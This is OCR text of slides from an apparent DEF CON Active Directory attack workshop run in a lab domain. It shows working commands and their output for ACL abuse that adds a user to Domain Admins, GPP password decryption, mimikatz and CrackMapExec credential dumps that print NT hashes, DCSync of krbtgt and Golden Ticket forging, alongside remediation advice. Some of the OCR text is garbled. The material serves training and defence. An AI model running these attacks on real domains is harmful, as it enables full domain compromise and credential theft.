View Color Legend

— Progress Bar

Use Progress Bar
For speed you could disable the progress bar.

[] Enable Compare

You can compare the current state with
a previously created CSV file.

CSV Template File

Select Template

[] Faster compare using USNs of the
NTSecurityDescriptor. This requires that your
template to contain USNs.Requires SD Modified
date selected when creating the template.

[] Use nodes from template.

Replace DN in file with current domain DN.
E.g. DC=contoso,DC=com
Type the old DN to be replaced:

Replace principals prefixed domain name with
current domain. E.g. CONTOSO
Type the old NETBIOS name to be replaced:

Download CSV templates for comparing with
your environment:

Download CSV Templates|

9




Abusing Insecure ACLs - How To Identify
Insecure ACLs

* What Do You See? nn vo“ SEE:)




Insecure ACLS

Is this a problem?

|CN=Domain Admins,CN=Users,DC=defcon,DC=local group

Abusing Insecure ACLs - How To ldentify

CN=Domain Admins,CN=Users,DC=defcon,DC=local group

BUILTIN\Administrators

False

This object
and all child

objects

CN=Domain Admins,CN=Users,DC=defcon,DC=local group

BUILTIN\Pre-Windows 2000
Compatible Access

This object
and all child
objects

CN=Domain Admins,CN=Users,DC=defcon,DC=local group

What other issues?

DEFCON\Domain Admins

False

This Object
Only




Insecure ACLS

e Normal?




Abusing Insecure ACLs - Attackin;g anlnse
ACL

* How can this be leveraged?



Abusing Insecure ACLs - Attacking an Insecure

ACL

* How can this be leveraged?

e ————

———————

—m i e e ek a s — —
- = ail = =

CA\Windows\system32\cmd.exe

icrosoft Windows [Uersion 6.2.92001]
(c) 2012 Microsoft Corporation. All rights reserved.

:\Users\Elliot.Aldersor >net group "Domain Admins" /domain

he request will bhe processed at 2 domain contmnallen fouw d main defcon.local.

Domain Admins
Designated administrators of the domain

defconadmin DemolUser

he command completed successfully.

:\Users\Elliot.Aldersor >net group “"Domain Admins" Elliot.Alderson /add /domain

he request will be PrOCcoscocu ar @4 Uuliaiil CUNLIULIGCE AUX UUINALII UGCLIUUIle AULAL.

he command completed successfully.

:\Users\Elliot.Aldersor >net group "“"Domain Admins" /domain
he request will bhe procZUUUiuUEEUNEINEgEereyreipEeg nain

Domain Admins
Designated administrators of the domain

defconadmin DemolUser

he command completed successfully.

:\Users\Elliot.Alderson>_

defcon.local.




Lab 3 - Recap

e Kerberoasted Elliott.Alderson

* Cracked the Password Elliott.Alderson

* Used Elliott.Alderson full control of DA Object to add Elliot to DA
group
* DOMAIN ADMIN!




Remediation For Attack Path 3

* Validate all service accounts (user accounts with Service Principal
Names) have long, complex passwords greater than 25 characters,

preferably 30 or more. This makes cracking these passwords far more
difficult

* Validate all service account passwords are changed regularly (at least
once a year).




Lab 3

* When Microsoft gives you the keys



GPP Password Decryption Agenda

* What Is Group Policy
* Group Policy Preferences Files

* Get-GPPPassword (Powersploit) / PowEnum

YOU'GET'A'POLICY:YOU GET
s A POLICY

" pOLICY!

memegenerator.net

£

Group Policy Management

Z File Action View Window Help

s z[E a6 BE

2 Group Policy Management
4 _e; Forest: defcon.local
4 [54 Domains
4 3 defcon.local
x:) Default Domain Policy
p (2] Domain Controllers
p (@] Groups
b |5 Group Policy Objects
p [ WMI Filters
p [ Starter GPOs
b (@ Sites
#4 Group Policy Modeling
_ %, Group Policy Results

Group Policy Objects in defcon.local

Contents | Delegation

Name - GPO Status
|=] Default Domain Controller... Enabled
\=[ Default Domain Policy Enabled
'=[ GPO_local_accounts Enabled

(=[ Prevent LM Hash Storage ~ Enabled
'=[ Prevent Storage of Lan M... Enabled

WNMI Fitter
None
None
None
None
None

Modified

6/27/2017 123
6/27/2017 12
6/30/2017 5:4¢
7/3/2017 3:08:
7/3/2017 2:56:




GPP Password Decryption - What Is Group
Policy

= & Computer Configuration

o roldes Order |Action |Full Name | Description
= [ Preferences Processing =
= ] Windows Settings Stop processing ’900_ local GPO admin
= = Control Panel Settings items in
%3 Data Sources extension on gpo_LA Properties
c error:
; E;\c/il;ff)ptions Run in user's Local User | Common |
% Local Users and Groups conkext: -
@ Network Options Remove oot g Action:  [Create
4 Power Options Description
$# Printers No description User name: | gpo_LA
(=1 Scheduled Tasks provided.
% Services Rename to: |
= 4% User Configuration Full name: I
. o zro:gf:nces Description: [ local GPO admin

Password: Iooocoooo

Confirm Password: |"ouou

[v" User must change password at next logon
[ | User cannot change password

[ |Password never expires

[~ Account is disabled

[v" Account never expires

Account expires: | 7/ 3/2017 LI




GPP Password Decryp’uon GrOU p POllle*

Preferences Files

Map drives (Drives.xml)

Create Local Users (Groups.xml)

Data Sources (DataSources.xml)
Printer configuration (Printers.xml)
Create/Update Services (Services.xml)
Scheduled Tasks (ScheduledTasks.xml)

|

https://support.microsoft.com/en-us/help/2962486/ms14-025-vulnerability-in-

group-policy-preferences-could-allow-elevati



https://support.microsoft.com/en-us/help/2962486/ms14-025-vulnerability-in-group-policy-preferences-could-allow-elevati

PowEnum

<~ C | & Secure

#requires -version 2

function Invoke-PowEnum
{
<#

.SYNOPSIS

bns and combines the output into a single

= - ——

A=

/30/2017 2:38 PM Windows PowersS..

26 KB}

.. Favorites
B Desktop

Share View

owershell -nop -ep bypas

or powersne

powershell -nop -ep bypass

-nop -ep

Dypass”

.x19




GPP Password Decryption — SYSVOL

PS C:\Users\andrew\Desktop\PowEnum: Import-Module .\PowEnum.psl

PS C:\Users\andrew\Desktobp\PowEnum: Invoke-PowEnum -Mode SYSVOL -NoExcel

What do you see?



_-‘ssjk‘s-sa.‘x““'
= .

—_—

EE L =

GPP Password Decryption — SYSVOL

PS C:\Users\andrew\Desktop\PowEnum:
PS C:\Users\andrew\Desktop\PowEnum:
[>]Downloading Powerview | https:/,.

v LA LA

eyt

Domain: defcon. local
SYSVOL

Enumeration
Enumeration Mode:

e

Import-Module .\PowEnum.psl
Invoke-PowEnum -Mode SYSVOL

-NoExcel

. ia/PowerSploit/dev/i

LR S S L e T L S I N

[>]Downloading Get-GPPPassword | https://raw.githubusercontent.com/PowerShellIMafia/PowerSploit

[ 1GPP Password(s) | 1 Identified =
o4 U PowEnum
“ Home Share View ]
T | » PowEnum v Ol \ Search PowEnum P l
Y Favorites - Name - Date modified Type Size
B Desktop 7/7/2017 3:44 AM CSV File 1KB

| defcon_1_GPPPassword.csv - Notepad

"UserName", "NewName","Password"”,"Changed"”,"File","NodeName","Cpadg
"gpo_LA","[BLANK]", " geaGalElral” , “2017-06-30 18:12:47","\\defco

sword"” A

local\SYSVOL\defcon.local\Policies\{31B2F34¢ 9

>




PS C:\Users\andrew\Desktop\Powerview> Import-lodule .\Get-GPPPassword.psl

PS C:\Users\andrew\Desktop\Powerview> Get-GPP’assword -Verbose | ft

VERBOSE: Searching \\DEFCON.LOCAL\SYSVOL. Thil =goaid=tulvomgnlivlon

VERBOSE: Found 2 files that could contain passwords.

VERBOSE: Potential password in

\\DEFCON.LOCAL\SYSvOL\defcon. local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups.xml
VERBOSE: Decrypting dwwWwwolPOei9QcFVEWTDpGDT283LDj600kwe91XZKk/w

VERBOSE: Decrypted a password of HoldTheDoor!

VERBOSE: The password is between {} and may be more than one value.

UserName s NewName Passwords File
{2017-06-30 18:12:47} {gpo_LA} [BLANK] {HoldTheDoor!} \\DE FCON.LOCAL\SYSVO. ..
VERBOSE: Potential password in
\\DEFCON.LOCAL\SYSvVOL\defcon.local\Policies\{E52838A3-1C50-4/98-A66B-3EEB/BODE062}\User\Preferences\Groups\Groups.xml
VERBOSE : Decrypting
VERBOSE: Decrypted a password of
VERBOSE: The password is between {} and may be more than one value.
{2017-06-30 17:42:48} {defcon_admin?} [BLANK] [BLANK] \\DEFCON.LOCAL\SYSVO. ..

Preferences

< . | = sysvol » defconlocal » Policies » {3182F340-016D-11D2-945F-00C04FB984F9) » MACHINE » Preferences
Favorites
De<k 5

Il Desktop *| Groups.xml

# Downloads
~» Recent places

f Groups.xml - Notepad (o e
File Edit Format View Help

A This PC

k?xml version="1.0" encoding="utf-8"?>

<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BAID1}"
@& Network name="gpo_LA" image="0" changed="2017-06-30 18:12:47" uid="{CE104D14-20B6-4393-B1B3-
©300CA91C6C0}"><Properties action="C" fullName="" description="local GPO admin"
kpassword="dwWWo1POei9QcFVEWTDpGDf283LDj600kwe91XZKk7w'] changeLogon="1" noChange="@" neverExpires="@"
acctDisabled="0" userName="gpo_LA"/></User>

</Grouns>




Credential Theft Agenda

* Windows Credential Theft (SAM / LSASS / Credman / LSA

Secrets/NTDS.DIT)

* Mimikatz
* Invoke-Mimikatz
* CrackMapExec

Benjamin DELPY

gentilkiwi

P https://technet.microsoft.com/en-us/library/hh994565(v=ws.11).aspXx

Star



https://technet.microsoft.com/en-us/library/hh994565(v=ws.11).aspx

Credential The
Credential Theft (SAM)

 Security Accounts Manager (SAM) database
 Stores password HASHES for all LOCAL accounts

e Built-in local admin, local users, guest account, etc.

 NT Hashes (LM on legacy OS)

e Unsalted MD4 hash of user’s clear text

Password1

Hash Function

$1$6SDLJSD738%Qncmd73689dhsosjd8df

SAM Database



entia
entia

Crec
Crec

Theft (LSASS)

e LSASS (Local Security Authority Subsystem Service)

e Stores Creds in-memory
 Single Sign On
* Multiple Forms of Storage

* LSA credentials created in memory when...
 RDP

RunAs task started

Run active windows service

Schedule task or batch job

Run task remotely using admin tool (Psexec, etc.)

P https://technet.microsoft.com/en-us/library/hh994565(v=ws.11).aspx

neft Agenda - Windows

'y

@ Registry
Non-domain

User Mode GINA Kemel Mode
Application Wi msgina.dll | | Application
Secur3z.dll Winlogon.exe Ksecdd.sys
LPC Secur3z.dll LPC
LsaLogonUser()
Local Security Authority

\4 \4 \4 .

= Windows
LSA Server Service KDC
RPC Lsasrv.dil Negotiate | kdesve.dll Sockets
| I—
Windows
Sockets €—/] A /N
Y Yyv | | A 4 Netlogon | _ .-
Digest NTLM Kerberos TLS/SSL N\—p| Metlogon.dil
wdigest.dll Msv1_0.dll Kerberos.dll Schannel.dll YY)
| | -\
N

Pt —

\ 4
Security Accounts Manager (SAM)

RPC==p- Samsry. dii

RPC—PI

controllers

Directory Services
Ntdsa.dll

v

Jet Database

Esent

il

“——LDAP

|



https://technet.microsoft.com/en-us/library/hh994565(v=ws.11).aspx

Credential The
Credential Theft (LSA Secrets)

* Secret piece of data that is accessible only to SYSTEM account
processes

* May persist through reboot

e LSA Secrets Creds include
* Computer AD DS account
* Windows Service configured locally
* Scheduled task accounts
* |IS app pools and websites

P https://technet.microsoft.com/en-us/library/hh994565(v=ws.11).aspx



https://technet.microsoft.com/en-us/library/hh994565(v=ws.11).aspx

Credential The
Credential Theft (Credman)

* Credential Manager Control Panel (Credman)
e Saved passwords in windows

» Stored on disk protected by Data Protection App. Programming Interface
(DPAPI)

* Credman obtains infor in two ways
* Explicit creation

¢ SySte m po p u Iat 1on Store credentials for automatic logon
. . Use Credential Manager t_o store credentials, such as user names and passwords, in vaults so you can easily log
» Uses Credential Locker (Formally Windows Vault)
« Dumped at same time as LSASS with mimikatz " [rmur L e
p @‘r Default vault location @‘r Default vault location

Lock p prope S It p d
Web Passwords Add a web password
ccccccc Modified: 23/07/2013 (v
gmail Modified: 23/07/2013 (v
Secure Notes Add a secure note
No t




AD DS database (NTDS.DIT)

e Store of credentials for all users in the AD DS domain

 The database stores a number of attributes for each account, which
includes user names types and the following:
e LM/NT hash for the current password
* LM/NT hashes for password history (if configured)



redential
imikatz

https://github.com/gentilkiwi/mimikatz

O This repository

I gentilkiwi / mimikatz

<> Code Issues 3

Pull requests Issues Marketplace Gist

® Un

Pull requests 1 Projects 0 Wiki Insights ~

A little tool to play with Windows security http://blog.gentilkiwi.com/mimikatz

D 187 commits ¥ 1 branch

Branch: master v New pull request Create ne!

G gentilkiwi Yara rule update to support recent mimikatz version (and logicaly Pet...

i inc [new] mimilib now supports DHCP Callout, DNS Plugin, Coffee
b [new] Isadump::changentim to *change* user password/hash to anothd
B mimidrv [new] support for Windows 10 RS2 - 1707

https://github.com/gentilkiwi/mimikatZ

I PowerShellMafia / PowerSploit © unv

<> Code Issues 17

Pull requests 8 Projects 0 Insights «

Branch: master~ | PowerSploit / Exfiltration /

a HarmJOy fixed little-endian encoding

I LogonUser/LogonUser Inject-LogonCredentials has been renamed to Invoke-Cred

B NTFSParser Adding Invoke-Mimikatz and Invoke-Ninjacopy
[E) Exfiltration.psd1 Added Get-GPPAutologon.ps1
[ Exfiltration.psm1 Normalized all scripts to ASCIl encoding
[E) Get-GPPAutologon.ps1 fixed little-endian encoding
[£) Get-GPPPassword.ps1 Added default value to parameter
[E) Get-Keystrokes.ps1 Fixed Pester/PassThru
[E Get-MicrophoneAudio.ps1 fixed little-endian encoding
[E) Get-TimedScreenshot.ps1 Get-TimedScreenshot enhancement. Issue #114
[£) Get-VaultCredential.ps1 Normalizing all files to ascii encoding
[E) Get-VaultCredential.ps1xml Get-VaultCredential now takes the singular form.
Fixed FreeLibrary function signature #146
Updated to 2.1 20161029 OJ Edition

Fixed Freelibrary function signature #146

[E Invoke-TokenManipulation.ps1

Bugfix: Invoke-TokenManipulation. Issue #112

https://github.com/PowerShellMatia/PowerSploit/tree/master/Exfiltration|



https://github.com/gentilkiwi/mimikatz
https://github.com/PowerShellMafia/PowerSploit/tree/master/Exfiltration
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Credential Theft Agenda — CrackMapExec

* Target 1 — Win 2016
e cme 10.0.0.7 -u gpo_LA -p 'HoldTheDoor!" -M mimikatz
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Credential Theft Agenda — CrackMapExec

* Target 1 — Win 2016
e cme 10.0.0.7 -u gpo_LA -p 'HoldTheDoor!" -M mimikatz

* What Happened?
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Credential Theft Agenda — CrackMapExec

* Target 2 — Win 2012
e cme 10.0.0.6 -u gpo_LA -p 'HoldTheDoor!" -M mimikatz
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root@abKali:/usr/local/bin# |}

ALL DOMAIN CREDS!!! ‘

al/bin# cme 10.0.0.4 -u detfconadmin -p Detcon25Workshop! --ntds vss

[*] Windows 6.3 Build 9600 (name:LabDC1l) (domain:DEFCON)

[+] DEFCON\defconadmin:Defcon25Workshop! (Pwn3d!)

[+] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
defconadmin:500:aad3b435b51404eeaad3b435b51404ee: 04d05Tbel1699ceedeca50adb47895020: : :
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe@d16ae931b73c59d7e0c089cO: : :
LabDC1%$:1001:aad3b435b51404eeaad3b435b51404ee:16c433d6bd5bcad9532d34cOb2a7b67dd: : :
krbtgt:502:aad3b435b51404eeaad3b435b51404ee: 083812b27188787b8bcd9a34cc8d3fd9: : :
defcon.local\JDoe:1104:aad3b435b51404eeaad3b435b51404ee:04d05fbe1699ceefeca50adb47895020: : :
defcon.local\Andrew:2102:aad3b435b51404eeaad3b435b51404ee:b8731a19c55492fd7f8b8861201b01al: : :

defcon.local\Elliot.Alderson:3102:aad3b435b51404eeaad3b435b51404ee:73a2621203a9%ba2cce31a2078715d1b4: ::

defcon.local\sp_svc:3103:aad3b435b51404eeaad3b435b51404ee:3edbf666279d0bdcabal8565e67ff58e: : :
defcon.local\DemoUser:4103:aad3b435b51404eeaad3b435b51404ee:c36efblc1d3al9d4273831915a052215: ::
LABWIN2012%:4104:aad3b435b51404eeaad3b435b51404ee:2b2c61629071dab4f9ccc9al71921182
LABWIN2016%:4105:aad3b435b51404eeaad3b435b51404ee:4cac9d38f118931965885e3ac2d578d1: : :
defcon.local\fddffd:5602:aad3b435b51404eeaad3b435b51404ee:2fd619131242602547e7e8873241a02a: : :

i



Lab 4 - Recap
Shared Local Admin Credential Theft (LSASS)

* Decrypted GPO_LA from a GPP file

e Used GPO_LA to perform a local login on LabWin2012.defcon.local as
a local admin

* As a local admin dumped account (Domain Admin) creds with
mimikatz

* Dump domain creds with NTDS.DIT
* DOMAIN ADMIN!I!!



Remediation For Lab 4

GPP Password Decryption Shared Local Admin Credential Theft (LSASS)

e Patch DC + Remove Scripts/ Lock Down SYSVOL

3 tier arch, restricted admin, wdigest disable, win10 CG, workstation
isolation

* Different admin passwords on all endpoints



Llab 5

* More Low Hanging Fruit / Abuse of Core AD functionality



SYSVOL Script - Agenda

* What is the SYSVOL |' ___
* How to access the SYSVOL L e

. » Network » defcon.local » SYSVOL » defcon.local »

Name Date modified Type Size

* Powerview / PowEnum

. Policies 7/6/2017 10:09 PM File folder
ds . scripts 7/3/2017 2:41 PM File folder




SYSVOL Scripts - What is the SYSVOL

* SYSVOL is simply a folder which resides on each and every domain
controller within the domain.

* It contains the domains public files that need to be accessed by
clients and kept synchronized between domain controllers.

* The SYSVOL folder can be accessed through its
share \\domainname.com\sysvol or the local share name on the
server \\servername\sysvol.



PS C:\Users\andrew\Desktop\Powerview> Import-Module .\Powerview.psl
PS C:\Users\andrew\Desktop\Powerview> Find-InterestingFile -Path \\defcon.local\sysvol -Include @('*.vbs', "*.bat',
sl', ".cmd') -Verbose

BUILTIN\Administrators

6/6/2014 9:44:48 AM

\\defcon. local\sysvol\defcon. lTocal\scripts\Download-SP2013PreReqFiles.psl
6/6/2014 9:44:48 AM

6/6/2014 9:44:48 AM

5102

BUILTIN\Administrators
6/6/2014 9:42:40 AM
: \\defcon. local\sysvol\defcon. local\scripts\Install-SP2013PreReqFiles.psl
LastAccessTime : 6/6/2014 9:42:40 AM
LastWriteTime : 7/3/2017 2:47:16 PM
: 5012

BUILTIN\Administrators

6/6/2014 9:42:40 AM

\\defcon. lTocal\sysvol\defcon. local\scripts\Install-SP2013RolesFeatures.psl
6/6/2014 9:42:40 AM

6/6/2014 9:42:40 AM

6039




<~ C | & Secure

#requires -version 2

function Invoke-PowEnum
{
<#

.SYNOPSIS
bns and combines the output into a single

= - —— —_

6/30/2017 2:38 PM Windows Powers... 26 KB‘

Home Share View

owershell -nop -ep bypas

powershell -nop -ep bypass

- Favorites or "powershell -nop -ep bypass”

B Desktop

.x19




SYSVOL Scripts— Downloading PowEnum

PS C:\Users\andrew\Desktop\PowEnum: Import-Module .\PowEnum.psl
PS C:\Users\andrew\Desktop\PowEnum: Invoke-PowEnum -Mode SYSVOL -NoExcel

What do you see?



SYSVOL Scripts—

PS C:\Users\andrew\Desktop\PowEnum:
PS C:\Users\andrew\Desktop\PowEnum:

Import-Module .\PowEnum.psl
Invoke-PowEnum -Mode SYSVOL

Enumeration Domain: defcon. local
Enumeration Mode: SYSVOL

[>]1Downloading Get-GPPPassword
assword.psl | success

| i

L g~ LRSS LA A R S = 1 == —

[ ]Pqtentja1 1ggon s

INLAT 1D IIIB

I 1 . vo

urrent Date/Time:
xitinag. ..

I [ 4

3

07/07 /2017 03:44:09

Share View

[>1Downloading Powerview | https://raw.yiunuouserconcenc. cony rowersne 1 imafia/PowerSploit/dev/Recon/PowerView.psl
5SS

| https:

cripfs on \\defcon.

-NoExcel

sSucce

//raw.githubusercontent. com/PowerShelIMafia/PowerSploit/dev/Exfiltration/Get-GPPP

local\SyYsvoL | 3 Identified

PowEnum

|"Owner","CreationTime","Path","LastAccessTime"

(" - 1 { » PowEnum v ¢ l { Search PowEnum

, . - Name B Date modified Type Size

{ Favorites ’

B Desktop jefcon 3ssword 7/7/2017 3:44 AM CSV File 1 KB

4 Downloads = || defcon_2_SYSVOLFiles.csv 7/7/2017 3:44 AM CSV File 1 KB
""" | defcon_2_SYSVOLFiles.csv - Notepad
File Edit Format View Help

"BUILTIN\Administrators","6/6/2014 9:44:48 AM"
"BUILTIN\Administrators","6/6/2014 9:42:40 AM"
"BUILTIN\Administrators","6/6/2014 9:42:40 AM"

‘“\\defcon.local\sysvol\defcon.local\scripts\Download-SP2013PreReqFiles.psl"”,"R/6/2014 9:44:48 AM","6,
‘“\\defcon.local\sysvol\defcon.local\scripts\Install-SP2013PreReqFiles.psl"”,"6j6/2014 9:42:40 AM","7/:
‘“\\defcon.local\sysvol\defcon.local\scripts\Install-SP2013RolesFeatures.psl”,§6/6/2014 9:42:40 AM","¢




* Anything Juicy?

. » Network » defcon.local » SYSVOL » defcon.local » scripts v C,l l Search scripts
-~
~ Name Date modified Type Size
ks
|y Download-SP2013PreReqFiles 6/6/2014 9:44 AM Windows PowersS... 5KB
|&y Install-SP2013PreReqFiles 7/3/2017 2:47 PM Windows PowerS... 5KB

|&y Install-SP2013RolesFeatures 6/6/2014 9:42 AM Windows PowerS... 6 KB




DCSync- Agenda
* What is DCSync

* Who can DCSync
* Mimikatz (Isadump::dcsync)

* ZAC TO MAKE VISIO DIAGRAM OF DCSYNC



DCSync- What is DCSync

* Abuse DC Replication Services
* Impersonate a Domain Controller to request account password data

* With appropriate rights (replication rights), extract password hash for ANY
account in the FOREST

* Mimikatz
e Pull past and present hashes for any user

* No interactive logon A
* No copy of NTDS.DIT nw

o

e QUIET Persistence I'M HUNTIN WIARDIT 1




DCSync- Who can DCSync»

 How can we identify who has the correct privileges?



DCSync- Who can DCSyhc

 How can we identify who has the correct privileges?

This object
and all child
objects

CN=Domain Admins,CN=Users,DC=defcon,DC=local group DEFCON\sp svc Allow False
obiects anges
This object

CN=Domain Admins,CN=Users,DC=defcon,DC=local group DEFCON\sp svc Allow False and all child
objects




DCSync- Mimikatz

1>, | Select Administrator: Windows PowerShell !E

e

PS C:\Users\andrew\Desktop\PowerSploit-master\PowerSploit-master\Exfiltration> Invoke-Mimikatz -Command
c /user:krbtgt@defcon. local /domain:defcon.local™’

1sadump::dcsynl

2222 mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14
LEE A 2, "A La Vie, A L'Amour"”
## / ‘-\ ## /f: = =
#¢ \ / ## Benjamin DELPY “gentilkiwi’® ( benjamin@gentilkiwi.com )
"## v ##' http://blog.gentilkiwi.com/mimikatz (oe. eo)
=222 with 20 modules * * */

mimikatz(powershell) # Isadump::dcsync fuser:krbtgt@defcon.local /domain:defcon. local
[DC] 'defcon.local’ will be the domain

[DC] 'LabDCl.defcon.local' will be the DC server

[DC] "krbtgt@defcon.local’' will be the user account

Object RDN : krbtgt
== SAM ACCOUNT ==

SAM Username : krbtgt

Account Type = 20000000 USER_OBJECT )

User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration -

Password last change : 6/27/2017 12:39:12 AM

Object Security ID : 5-1-5-21-2367485406-3548604118-1071533684-502
Object Relative ID : 502

redentials:

Hash NTLM: 0838f2b27f88787b8bcd9a34cc8d3fd9
ntim- 0: 0838f2b27f88787b8bcd9a34cc8d3fd9
Tm - 0: 022d7f3c16923709d42d1df5910be5a7




e

-PS C:\Users\andrew\Desktop\PowerSploit-master\PowerSploit-master\Exfiltration> Invoke—Miﬁkatz -Command " "kerbg os::gold

en /user:TheGoldenUser /domain:defcon.local /SID:S-1-5-21-2367485406-3548604118-1071533684 /krbtgt:0838f2b27f88 87b8bcd9
a34cc8d3fd9 /ptt"’

CHEHBE . mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14
C## AN ##. "A La vie, A L'Amour"”

(] ## / \ ## /)’( * % X X
## \ / ## Benjamin DELPY gentilkiwi ( benjamin@gentilkiwi.com )
O e I e S ‘## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo0)
I . C ‘#EREE with 20 modules * * */

mimikatz(powershell) # kerberos::golden /user:TheGoldenUser /domain:defcon.local /SID:S-1-5-21-2367485406-3548604118-107
1533684 /krbtgt:0838f2b27f88787b8bcd9a34cc8d3fd9 /ptt

User : TheGoldenuser

Domain : defcon.local (DEFCON)

SID : S-1-5-21-2367485406-3548604118-1071533684

User Id : 500

Groups Id : *513 512 520 518 519

ServiceKey: 0838f2b27f88787b8bcd9a34cc8d3fd9 - rc4_hmac_nt

Lifetime : 7/11/2017 8:13:56 PM ; 7/9/2027 8:13:56 PM ; 7/9/2027 8:13:56 PM

-> Ticket : ** Pass The Ticket **

PAC generated

PAC signed
EncTicketPart generated
EncTicketPart encrypted
KrbCred generated

-Go1den ticket for 'TheGoldenuUser @ defcon.local' successfully submitted for current session

PS C:\Users\andrew\Desktop\PowerSploit-master\PowerSploit-master\Exfiltration> dir \\labdcl.defcon.local\c$

Directory: \\labdcl.defcon.local\C$

LastwriteTime Length Name
- 7/2/2017 8:56 PM Lab
- 7/6/2017 11:26 PM Microsoft
- 8/22/2013 3:52 PM PerfLogs
- 7/11/2017 6:25 PM Program Files
- 8/22/2013 3:39 PMm Program Files (x86)
- 7/2/2017 8:31 PM Sample NTDS
- 7/2/2017 8:56 PM temp
- 7/2/2017 8:20 PM Tools
- 7/10/2017 12:10 PM Users
- 7/11/2017 6:19 PM Windows
————— 6/26/2017 4:01 Am WindowsAzure

PS C:\Users\andrew\Desktop\PowerSploit-master\PowerSploit-master\Exfiltratior » klist
urrent LogonId is 0:0xc5847
ached Tickets: (1)

#0> Client: TheGoldenUser @ defcon.local

Server: krbtgt/defcon.local @ defcon.local

KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)

Ticket Flags 0x40e00000 -> forwardable renewable initial pre_authent
Start Time: 7/11/2017 20:13:56 (local)

End Time: 7/9/2027 20:13:56 (local)

Renew Time: 7/9/2027 20:13:56 (local)

Session Key Type: RSADSI RC4-HMAC(NT)

Cache Flags: Oxl -> PRIMARY

Kdc called:

PS C:\Users\andrew\Desktop\PowerSploit-master\PowerSploit-master\Exfiltratior » _



Lab 5 - Recap

* |dentified cleartext credentials for a Sharepoint Service Account

* |dentified that the Sharepoint account has replication rights
* Used DCSync to steal the KRBTGT account hash
* Created a “Golden Ticket” with the KRBTGT account hash



Remediation For LAB 5

* Validate no hard coded creds in script (.bat/ps1/.cmd...) files

* Lock down replication rights to appropriate users



Security Recommendations: 3-Tier Administration Model

Implement 3-Tier Administration Model for Enhanced Security
Transitive Nature of Control/Security

The Attack Surface of an environment is the sum of the

different points from where an unauthorized user can
/ Can Can compromise the environment.
{  Control Control _ o
C 3-Tier Administration Model reduces the attack surface by
i isolating the environment into 3 Tiers.
Effectively: 7
Can Control Account used to logon to the servers/workstations in each tier

must be different and can’t be used in other two.

Tier-0:
Domain/Forest Level Servers(Domain Controllers) and any
jump/admin servers used in administration.

Tier-1:
Member Servers, servers which host internal, monitoring,
security, mail & collaboration apps.

Tier-2:

User Workstations/Devices, where users logon to do their
regular day to day work like checking emails, creating
documents/reports etc.




== T =5 == ===

Security Recommendations: Admin Boundaries
Define clear administrative Boundaries, even within the same tier

Example 1. (Tier 3)

Helpdesk Technicians in Tokyo cannot exercise the same rights on the workstations/Desktops @ New York office

Example 2. (Tier 2)

Similarly, DBA groups should not have the same rights on Mail & Collaboration servers

Tier-2

Tier-3




1.Computer Configuration\Policies\Windows Settings\Security Settings\Local
Settings\User Rights Assignments:
1. Deny access to this computer from the network
Deny log on as a batch job
Deny log on as a service
Deny log on locally
Deny log on through Remote Desktop Services user rights

vk wnN



The End
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